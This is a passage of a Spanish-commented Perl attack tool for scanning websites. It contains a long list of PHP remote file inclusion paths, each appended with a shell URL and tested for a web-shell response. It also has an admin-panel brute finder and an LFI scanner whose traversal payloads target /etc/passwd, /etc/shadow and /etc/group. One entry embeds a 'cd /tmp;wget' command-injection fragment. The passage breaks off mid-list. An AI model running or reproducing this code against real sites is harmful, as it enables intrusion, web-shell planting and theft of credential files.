'detail.php?theme_path=','fav.php?theme_path=','get_rated.php?theme_path=','login.php?theme_path=',
'mailing_list.php?theme_path=','new.php?theme_path=','modify.php?theme_path=','pick.php?theme_path=',
'power_search.php?theme_path=','rating.php?theme_path=','register.php?theme_path=',
'review.php?theme_path=','rss.php?theme_path=','search.php?theme_path=','send_pwd.php?theme_path=',
'sendmail.php?theme_path=','tell_friend.php?theme_path=','top_rated.php?theme_path=',
'user_detail.php?theme_path=','user_search.php?theme_path=','invoice.php?base_path=',
'cgi-bin//classes/adodbt/sql.php?classes_dir=','cgi-bin/install/index.php?G_PATH=',
'cgi-bin/include/print_category.php?dir=','includes/class_template.php?quezza_root_path=',
'bazar/classified_right.php?language_dir=','classified_right.php?language_dir=',
'phpBazar/classified_right.php?language_dir=','chat/messagesL.php3?cmd=',
'phpMyChat/chat/messagesL.php3?cmd=','bbs/include/write.php?dir=',
'visitorupload.php?cmd=','modules/center/admin/accounts/process.php?module_path]=',
'index.php?template=','armygame.php?libpath=','lire.php?rub=',
'pathofhostadmin/?page=','apa_phpinclude.inc.php?apa_module_basedir=',
'index.php?req_path=','research/boards/encapsbb-0.3.2_fixed/index_header.php?root=',
'Farsi1/index.php?archive=','index.php?archive=','show_archives.php?template=',
'forum/include/common.php?pun_root=','pmwiki wiki/pmwiki-2.1.beta20/pmwiki.php?GLOBALS[FarmD]=',
'vuln.php?=','cgi-bin//include/write.php?dir=','admin/common.inc.php?basepath=',
'pm/lib.inc.php?sfx=','pm/lib.inc.php?pm_path=','artmedic-kleinanzeigen-path/index.php?id=',
'index.php?pagina=','osticket/include/main.php?include_dir=',
'include/main.php?config[search_disp]=include_dir=','phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=',
'quick_reply.php?phpbb_root_path=','zboard/include/write.php?dir=',
'PATH/admin/plog-admin-functions.php?configbasedir=',
'path_to_phpgreetz/content.php?content=','path_to_qnews/q-news.php?id=',
'_conf/core/common-tpl-vars.php?confdir=','votebox.php?VoteBoxPath=',
'al_initialize.php?alpath=','include/db.php?GLOBALS[rootdp]=',
'modules/news/archivednews.php?GLOBALS[language_home]=',
'protection.php?siteurl=','modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=',
'index2.php?includes_dir=','classes.php?LOCAL_PATH=',
'extensions/moblog/moblog_lib.php?basedir=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=',
'phpWebLog/include/init.inc.php?G_PATH=','admin/objects.inc.php4?Server=',
'trg_news30/trgnews/install/article.php?dir=','block.php?Include=','arpuivo.php?data=',
'path_to_gallery/setup/index.php?GALLERY_BASEDIR=','include/help.php?base=',
'index.php?[Home]=','path_to_script/block.php?Include=','examples/phonebook.php?page=',
'PHPNews/auth.php?path=','include/print_category.php?dir=','skin/zero_vote/login.php?dir=',
'skin/zero_vote/setup.php?dir=','skin/zero_vote/ask_password.php?dir=',
'gui/include/sql.php?include_path=',
'webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=',
'email.php?login=cer_skin=','PhotoGal/ops/gals.php?news_file=',
'index.php?custom=',
'loginout.php?cutepath=','oneadmin/config.php?path[docroot]=',
'xcomic/initialize.php?xcomicRootPath=',
'skin/zero_vote/setup.php?dir=','skin/zero_vote/error.php? dir=',
'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
'src/index_overview.inc.php?config[path_src_include]=',
'src/index_leftnavbar.inc.php?config[path_src_include]=',
'src/index_image.inc.php?config[path_src_include]=',
'src/image-gd.class.php?config[path_src_include]=',
'src/image.class.php?config[path_src_include]=','src/album.class.php?config[path_src_include]=',
'src/show_random.inc.php?config[path_src_include]=',
'src/main.inc.php?config[path_src_include]=',
'src/index_passwd-admin.inc.php?config[path_admin_include]=',
'yappa-ng/src/index_overview.inc.php?config[path_src_include]=',
'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
'src/index_overview.inc.php?config[path_src_include]=','src/image-gd.class.php?config[path_src_include]=',
'src/image.class.php?config[image_module]=','src/album.class.php?config[path_src_include]=',
'src/show_random.inc.php?config[path_src_include]=','src/main.inc.php?config[path_src_include]=',
'includes/db_adodb.php?baseDir=','includes/db_connect.php?baseDir=','includes/session.php?baseDir=',
'modules/projects/gantt.php?dPconfig[root_dir]=','modules/projects/gantt2.php?dPconfig[root_dir]=',
'modules/projects/vw_files.php?dPconfig[root_dir]=','modules/admin/vw_usr_roles.php?baseDir=',
'modules/public/calendar.php?baseDir=','modules/public/date_format.php?baseDir=',
'modules/tasks/gantt.php?baseDir=','mantis/login_page.php?g_meta_include_file=',
'phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=',
'modules/My_eGallery/public/displayCategory.php?basepath=',
'dotproject/modules/files/index_table.php?root_dir=','nukebrowser.php?filnavn=',
'bug_sponsorship_list_view_inc.php?t_core_path=','modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
'modules/coppermine/themes/maze/theme.php?THEME_DIR=',
'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=',
'phpBB/admin/admin_styles.php?mode=','aMember/plugins/db/mysql/mysql.inc.php?config=',
'admin/lang.php?CMS_ADMIN_PAGE=','inc/pipe.php?HCL_path=',
'include/write.php?dir=','becommunity/community/index.php?pageurl=',
'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/mod_mainmenu.php?mosConfig_absolute_path=',
'modules/agendax/addevent.inc.php?agendax_path=','shoutbox/expanded.php?conf=',
'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'index.php?page=','index.php?pag=','index.php?include=','index.php?content=',
'index.php?cont=','index.php?c=','modules/My_eGallery/index.php?basepath=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath=','journal.php?m=',
'index.php?m=','links.php?c=','forums.php?m=','list.php?c=','user.php?xoops_redirect=',
'index.php?id=','r.php?url=','CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=',
'inc/formmail.inc.php?script_root=','include/init.inc.php?G_PATH=',
'backend/addons/links/index.php?PATH=','modules/newbb_plus/class/class.forumposts.php?bbPath[path]=',
'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=','protection.php?siteurl=',
'htmltonuke.php?filnavn=','mail_autocheck.php?pm_path=','index.php?p=',
'modules/4nAlbum/public/displayCategory.php?basepath=','e107/e107_handlers/secure_img_render.php?p=',
'include/new-visitor.inc.php?lvc_include_dir=','path_of_cpcommerce/_functions.php?prefix=',
'community/modules/agendax/addevent.inc.php?agendax_path=','library/editor/editor.php?root=',
'library/lib.php?root=','zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=',
'main.php?x=','myPHPCalendar/admin.php?cal_dir=','index.php/main.php?x=',
'index.php?x=','index.php?open=','index.php?visualizar=',
'template.php?pagina=','index.php?inc=','includes/include_onde.php?include_file=',
'index.php?pg=','index.php?show=','index.php?cat=','print.php?val1=',
'cmd.php?function=','iframe.php?file=','os/pointer.php?url=',
'p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=',
'index.php?file=','db.php?path_local=','phpGedView/individual.php?PGV_BASE_DIRECTORY=',
'index.php?kietu[url_hit]=','phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
'Sources/Packages.php?sourcedir=','yabbse/Sources/Packages.php?sourcedir=',
'modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=',
'cgi-bin//gadgets/Blog/BlogModel.php?path=','cgi-bin//admin.php?cal_dir=',
'gallery/captionator.php?GALLERY_BASEDIR=','cgi-bin/main.php?x=',
'Blog/BlogModel.php?path=','admin.php?cal_dir=','expanded.php?conf=',
'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','pollvote/pollvote.php?pollname=',
'displayCategory.php?basepath=','phpBB2/admin/admin_cash.php?phpbb_root_path=',
'modules/foro/includes/functions_admin.php?phpbb_root_path=',
'modules/Forums/admin/admin_forums.php?phpEx=','modules/Forums/admin/admin_disallow.php?phpEx=',
'modules/Forums/admin/admin_smilies.php?phpEx=','modules/Forums/admin/admin_board.php?phpEx=',
'modules/Forums/admin/admin_users.php?phpEx=','modules/Forums/admin/admin_mass_email.php?phpEx=',
'modules/Forums/admin/admin_forum_prune.php?phpEx=',
'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
'index.php?hc=','mt-comments.cgi?id=','webcalendar/tools/send_reminders.php?includedir=',
'cmd/product_info.php/products_id/1622/shop_content.php?coID=','addevent.inc.php?agendax_path=',
'step_one.php?server_inc=','upgrade_album.php?GALLERY_BASEDIR=','search.php?cutepath=',
'modules.php?name=','wagora/extras//quicklist.php?site=','vCard/admin/define.inc.php?match=',
'forum/ubbthreads.php?Cat=','admin/includes/classes/spaw/spaw_control.class.php?spaw_root=',
'secure.php?cfgProgDir=','modules/My_eGallery/public//inc/?HCL_path=',
'modules/My_eGallery/public/imagen.php?basepath=',
'adlayer.php?layerstyle=','Forums/bb_smilies.php?name=','modules/Forums/bb_smilies.php?name=',
'gadgets/Blog/BlogModel.php?path=','learnlinc/clmcpreload.php?CLPATH=','modernbill/samples/news.php?DIR=',
'religions/faq.php?page=','forum/viewtopic.php?t=','announcements.php?includePath=',
'inc/header.php/step_one.php?server_inc=','phpatm/index.php?include_location=',
'gb/form.inc.php3?lang=','shannen/index.php?x=','family/phpgedview/index.php?PGV_BASE_DIRECTORY=',
'main.php?left=','forum/misc.php?action=','nucleus/libs/globalfunctions.php?DIR_LIBS=',
'show_archives.php?cutepath=','gallery.php=','magicforum/misc.php?action=',
'forum/admin/actions/del.php?include_path=','index.php?meio=','local/investing_industrialeastate1.php?a=',
'modules/coppermine/themes/default/theme.php?THEME_DIR','Popper/index.php?childwindow.inc.php?form=',
'class.mysql.php?path_to_bt_dir=','include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
'eyeos/desktop.php?baccio=',
'ashnews.php?pathtoashnews=','index.php?modpath=','becommunity/community/index.php?pageurl=',
'index.php?sqld=','modules/module_db.php?pivot_path=','catalog/includes/include_once.php?include_file=',
'cgi-bin/calendar.pl?fromTemplate=','live/inc/pipe.php?HCL_path=',
'zb41/include/write.php?dir=','cgi-bin/awstats.pl?logfile=','presse/stampa.php3?azione=',
'inc/step_one_tables.php?server_inc=','index.php?mainpage=','phpprojekt/lib/authform.inc.php?path_pre=',
'captionator.php?GALLERY_BASEDIR=','_head.php?_zb_path=.example.com',
'achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=',
'gallery/captionator.php?GALLERY_BASEDIR=.example.com','globals.php3?LangCookie=.example.com',
'include/msql.php?inc_dir=','include/mssql7.php?inc_dir=','include/mysql.php?inc_dir=',
'include/oci8.php?inc_dir=','include/postgres.php?inc_dir=',
'include/postgres65.php?inc_dir=','install.php?phpbb_root_dir=',
'mantis/login_page.php?g_meta_inc_dir=','page.php?template=',
'phorum/admin/actions/del.php?include_path=','pollensondage.inc.php?app_path=',
'user/agora_user.php?inc_dir=','user/ldap_example.php?inc_dir=',
'userlist.php?ME=.example.com','_functions.php?prefix=',
'cpcommerce/_functions.php?prefix=','ashnews.php?pathtoashnews=cd /tmp;wget',
'eblog/blog.inc.php?xoopsConfig[xoops_url]=','b2-tools/gm-2-b2.php?b2inc=',
'includes/include_once.php?include_file=','modules.php?name=jokeid=',
'index.php?site=','livehelp/inc/pipe.php?HCL_path=',
'hcl/inc/pipe.php?HCL_path=','support/faq/inc/pipe.php?HCL_path=',
'help/faq/inc/pipe.php?HCL_path=','helpcenter/inc/pipe.php?HCL_path=',
'live-support/inc/pipe.php?HCL_path=','gnu3/index.php?doc=',
'gnu/index.php?doc=','phpgwapi/setup/tables_update.inc.php?appdir=',
'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=',
'inc/authform.inc.php?path_pre=','include/authform.inc.php?path_pre=',
'web_statistics/modules/coppermine/themes/default/theme.php?THEME_DIR=',
'web_statistics//tools/send_reminders.php?includedir=',
'web_statistics//include/write.php?dir=',
'web_statistics//modules/My_eGallery/public/displayCategory.php?basepath=',
'web_statistics//calendar/tools/send_reminders.php?includedir=',
'web_statistics//skin/zero_vote/error.php?dir=',
'web_statistics//coppercop/theme.php?THEME_DIR=',
'includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=',
'ashheadlines.php?pathtoashnews=','demo/includes/init.php?user_inc=',
'jaf/index.php?show=','inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
'sources/post.php?fil_config=','bb_lib/checkdb.inc.php?libpach=',
'include/livre_include.php?chem_absolu=','index.php?pageurl=',
'derniers_commentaires.php?rep=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
'coppermine/themes/maze/theme.php?THEME_DIR=','allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
'allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
'agendax/addevent.inc.php?agendax_path=','main.php?page=','default.php?page=',
'index.php?action=','index1.php?p=','index2.php?x=','index2.php?content=',
'index.php?conteudo=','GradeMap/index.php?page=','phpopenchat/contrib/yabbse/poc.php?sourcedir=',
'calendar/calendar.php?serverPath=','calendar/functions/popup.php?serverPath=',
'calendar/events/header.inc.php?serverPath=','calendar/events/datePicker.php?serverPath=',
'calendar/setup/setupSQL.php?serverPath=','calendar/setup/header.inc.php?serverPath=',
'install/index.php?G_PATH=','support/mailling/maillist/inc/initdb.php?absolute_path=',
'coppercop/theme.php?THEME_DIR=','dotproject/modules/projects/addedit.php?root_dir=',
'dotproject/modules/projects/view.php?root_dir=','dotproject/modules/projects/vw_files.php?root_dir=',
'dotproject/modules/tasks/addedit.php?root_dir=',
'dotproject/modules/tasks/viewgantt.php?root_dir=',
'My_eGallery/public/displayCategory.php?basepath=',
'index.php?meio.php=','index.php?configFile=','index.php?do=',
'phpshop/index.php?base_dir=','contacts.php?cal_dir=',
'convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=',
'mainfile.php?MAIN_PATH=','html/affich.php?base=',
'gallery/init.php?HTTP_POST_VARS=','ideabox/include.php?gorumDir=',
'stats/modules/My_eGallery/index.php?basepath=',
'stats/include/write.php?dir=','stats/tools/send_reminders.php?includedir=',
'index.cgiupgrade_album.php?GALLERY_BASEDIR=',
'pollvote/pollvote.php?pollname','includes/page_header.php?dir=',
'index2.php?mosConfig_absolute_path=','new/bbs//include/write.php?dir=',
'index.php?mosConfig_absolute_path=','modules/My_eGallery/public/inc/?HCL_path=',
'forum/auth/auth.php?phpbb_root_path=','forum/auth/auth_phpbb/phpbb_root_path=',
'cutenews/comments.php?cutepath=','library/lib.php?root=',
'impex/ImpExData.php?systempath=','coppermine/thumbnails.php?lang=',
'gallery/thumbnails.php?lang=','aWebNews/visview.php?path_to_news=',
'ashnews.php?pathtoashnews=','4images/index.php?template=',
'galeri/index.php?template=',
'components/com_extcalendar/admin_events.php?CONFIG_EXT[LANGUAGES_DIR]=',
'components/com_loudmounth/includes/abbc/abbc.class.php?mosConfig_absolute_path=',
'components/com_smf/smf.php?mosConfig_absolute_path=',
'components/com_videodb/core/videodb.class.xml.php?mosConfig_absolute_path=',
'components/com_simpleboard/image_upload.php?sbp=',
'gallery/index.php?template=','auth/auth.php?phpbb_root_path=',
'auth/auth_phpbb/phpbb_root_path=','modules/Forums/admin/index.php?phpbb_root_path=',
'modules/Forums/admin/admin_avatar.php?phpbb_root_path=',
'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
'_wk/wk_lang.php?wkPath=','shoutbox/expanded.php?conf=',
'myPHPCalendar/admin.php?cal_dir=','phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
'modules/Forums/admin/admin_board.php?phpEx=',
'modules/Forums/admin/admin_users.php?phpEx=',
'library/editor/editor.php?root=','library/lib.php?root=',
'e107/e107_handlers/secure_img_render.php?p=',
'modules/My_eGallery/public/displayCategory.php?basepath=',
'modules/My_eGallery/index.php?basepath=',
'modules/coppermine/themes/default/theme.php?THEME_DIR=',
'modules/4nAlbum/public/displayCategory.php?basepath=',
'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
'modules/coppermine/themes/maze/theme.php?THEME_DIR=',
'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
'phpBB/admin/admin_styles.php?mode=',
'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
'index.php?page=','index.php?pag=','index.php?sayfa=',
'index.php?pg=','index.php?include=','index.php?content=',
'index.php?p=','index.php?s=','index.php?cont=','index.php?c=',
'journal.php?m=','index.php?m=','links.php?c=','forums.php?m=',
'list.php?c=','journal.php?m=','user.php?xoops_redirect=',
'index.php?id='
); }

#Cargamos los Paths uno por uno con foreach
foreach $rfi(@paths){

#final sera = a la web junto con el path
$final = $web."/".$rfi.$shell;
chop($final);

#declaramos variables para esperar una respuesta de la web
$request = HTTP::Request->new(GET=>$final);
$useragent = LWP::UserAgent->new();

#Con esto Pasamos la web con path por path esperando respuesta
$respuesta = $useragent->request($request);

#declaramos variables para esperar una respuesta de la web
if ($respuesta->is_success && $respuesta->content =~ /shell/)

#sera vulnerable la web
{ $msg = " * Vulnerable";
print ("[$msg]..........$final\n\n\n")
}

#de lo contrario
else
{ $msg = " * No Encontrado\n";
}
chop($msg);

if ($proseso =~ /s|S/)

{
#mostrara el mensage junto con el path
print ("[$msg]..........$final\n\n\n\t"); }

} }

if ($opciones =~ /p/|/p/) {
##################Scanner RFI#######################
system("cls");
system("clear");
# Panel Finder
print q (

------- ------------------------------------------
.-..-. _ .----. .---. _ .-.
: :: ::_; `-- ; : .--':_; : :
: :: :.-..---. .' ' .--. : `; .-.,-.,-. .-' : .--. .--.
: `' ;: :: .; ` _`,`.: ..' : : : :: ,. :' .; :' '_.': ..'
`.,' :_;: ._.'`.__.':_; :_; :_;:_;:_;`.__.'`.__.':_;
: :
:_;
------- ------------------------------------------

Inserta la web a escanear... (http://web.com)

);

if ($web1 !~ /http/)
{
$web="http://".$web1;
} else { $web=$web1; }
chop $web;
print("\n * Analizando la Pagina... \n ".$web,"\n");

@paths=('
admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.asp','admin/account.asp','admin/index.asp','admin/login.asp','admin/admin.asp',
'admin_area/admin.asp','admin_area/login.asp','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.asp','bb-admin/index.asp','bb-admin/login.asp','bb-admin/admin.asp',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.asp','admin/controlpanel.asp','admin.asp','pages/admin/admin-login.asp','admin/admin-login.asp','admin-login.asp','admin/cp.asp','cp.asp',
'administrator/account.asp','administrator.asp','login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','administrator/login.asp',
'moderator/admin.asp','controlpanel.asp','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.asp','user.html','admincp/index.asp','admincp/login.asp','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.asp','admin/account.asp','adminpanel.asp','webadmin.asp','webadmin/index.asp',
'webadmin/admin.asp','webadmin/login.asp','admin/admin_login.asp','admin_login.asp','panel-administracion/login.asp','adminLogin.asp',
'admin/adminLogin.asp','home.asp','admin.asp','adminarea/index.asp','adminarea/admin.asp','adminarea/login.asp','admin-login.html',
'panel-administracion/index.asp','panel-administracion/admin.asp','modelsearch/index.asp','modelsearch/admin.asp','administrator/index.asp',
'admincontrol/login.asp','adm/admloginuser.asp','admloginuser.asp','admin2.asp','admin2/login.asp','admin2/index.asp','adm/index.asp',
'adm.asp','affiliate.asp','adm_auth.asp','memberadmin.asp','administratorlogin.asp','siteadmin/login.asp','siteadmin/index.asp','siteadmin/login.html',
'admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','account.cfm','admin/account.cfm','admin/index.cfm','admin/login.cfm','admin/admin.cfm',
'admin_area/admin.cfm','admin_area/login.cfm','admin/account.html','admin/index.html','admin/login.html','admin/admin.html',
'admin_area/admin.html','admin_area/login.html','admin_area/index.html','admin_area/index.cfm','bb-admin/index.cfm','bb-admin/login.cfm','bb-admin/admin.cfm',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','admin/controlpanel.html','admin.html','admin/cp.html','cp.html',
'administrator/index.html','administrator/login.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html','moderator.html',
'moderator/login.html','moderator/admin.html','account.html','controlpanel.html','admincontrol.html','admin_login.html','panel-administracion/login.html',
'admin/home.cfm','admin/controlpanel.cfm','admin.cfm','pages/admin/admin-login.cfm','admin/admin-login.cfm','admin-login.cfm','admin/cp.cfm','cp.cfm',
'administrator/account.cfm','administrator.cfm','login.cfm','modelsearch/login.cfm','moderator.cfm','moderator/login.cfm','administrator/login.cfm',
'moderator/admin.cfm','controlpanel.cfm','admin/account.html','adminpanel.html','webadmin.html','pages/admin/admin-login.html','admin/admin-login.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','user.cfm','user.html','admincp/index.cfm','admincp/login.cfm','admincp/index.html',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','adminarea/index.html','adminarea/admin.html','adminarea/login.html',
'panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admin/admin_login.html',
'admincontrol/login.html','adm/index.html','adm.html','admincontrol.cfm','admin/account.cfm','adminpanel.cfm','webadmin.cfm','webadmin/index.cfm',
'webadmin/admin.cfm','webadmin/login.cfm','admin/admin_login.cfm','admin_login.cfm','panel-administracion/login.cfm','adminLogin.cfm',
'admin/adminLogin.cfm','home.cfm','admin.cfm','adminarea/index.cfm','adminarea/admin.cfm','adminarea/login.cfm','admin-login.html',
'panel-administracion/index.cfm','panel-administracion/admin.cfm','modelsearch/index.cfm','modelsearch/admin.cfm','administrator/index.cfm',
'admincontrol/login.cfm','adm/admloginuser.cfm','admloginuser.cfm','admin2.cfm','admin2/login.cfm','admin2/index.cfm','adm/index.cfm',
'adm.cfm','affiliate.cfm','adm_auth.cfm','memberadmin.cfm','administratorlogin.cfm','siteadmin/login.cfm','siteadmin/index.cfm','siteadmin/login.html',
'admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/',
'memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html',
'admin/login.html','admin/admin.html',
'admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html',
'admin/controlpanel.php','admin.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html',
'webadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html',
'admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php',
'administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php',
'bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','login.php','modelsearch/login.php','moderator.php','moderator/login.php',
'moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html',
'webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.html',
'administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','modelsearch/login.html',
'moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html',
'admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpanel.html','admincontrol.html',
'panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','admin.php','adminarea/index.php',
'adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php',
'modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php','admin2/login.php','admin2/index.php',
'adm/index.php','adm.php','affiliate.php','adm_auth.php','memberadmin.php','administratorlogin.php'
);
#cargamos todos los Paneles con foreach
foreach $finder( @paths) {

$agente = LWP::UserAgent->new();
$panelfinder = $agente->get($web."/".$finder);

if ($panelfinder->content =~ /username/ ||
$panelfinder->content =~ /Username/ ||
$panelfinder->content =~ /UserName/ ||
$panelfinder->content =~ /usuario/ ||
$panelfinder->content =~ /Usuario/ ||
$panelfinder->content =~ /user/ ||
$panelfinder->content =~ /User/ ||
$panelfinder->content =~ /password/ ||
$panelfinder->content =~ /Password/ ||
$panelfinder->content =~ /contraseña/ ||
$panelfinder->content =~ /Contraseña/ ||
$panelfinder->content =~ /senha/ ||
$panelfinder->content =~ /Senha/ ||
$panelfinder->content =~ /pass/ ||
$panelfinder->content =~ /Pass/ ||
$panelfinder->content =~ /pwd/ ||
$panelfinder->content =~ /Pwd/ ||
$panelfinder->content =~ /USERNAME/ ||
$panelfinder->content =~ /PASSWORD/ ||
$panelfinder->content =~ /Personal/ ||
$panelfinder->content =~ /Usuario/ ||
$panelfinder->content =~ /Clave/ ||
$panelfinder->content =~ /Usager/ ||
$panelfinder->content =~ /usager/ ||
$panelfinder->content =~ /Sing/ ||
$panelfinder->content =~ /passe/ ||
$panelfinder->content =~ /P\/W/ ||
$panelfinder->content =~ /Admin Password/
)
{ print("\n * Panel Encontrado: $web/$finder \n");} } }

if ($opciones =~ /l/|/L/) {
#Lfi Scanner
system("cls");
system("clear");
print q(

.-..-. _ .----. .--.
: :: ::_; `-- ; : .--'
: :: :.-..---. .' ' .--. `. `. .--. .--. ,-.,-.,-.,-. .--. .--.
: `' ;: :: .; ` _`,`.: ..' _`, :' ..'' .; ; : ,. :: ,. :' '_.': ..'
`.,' :_;: ._.'`.__.':_; `.__.'`.__.'`.__,_;:_;:_;:_;:_;`.__.':_;
: :
:_;

+-++-++-+ +-++-++-++-++-++-++-+
|L||F||I| |S||c||a||n||n||e||r|
+-++-++-+ +-++-++-++-++-++-++-+

);

if ($web1 !~ /http/)
{
$web="http://".$web1."=";
} else { $web=$web1; }
chop $web;

print("\n * Analizando la Pagina... \n ".$web,"\n");

#si lleva la web un signo de path como page.php?"="
if ($web =~ /\=/) {

print " * > Desea ver el Proseso?\tSi/No\n\t";
$proses="si";
chop($proses);

#los paths seran los siguientes
@paths=('../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../..etc/passwd',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
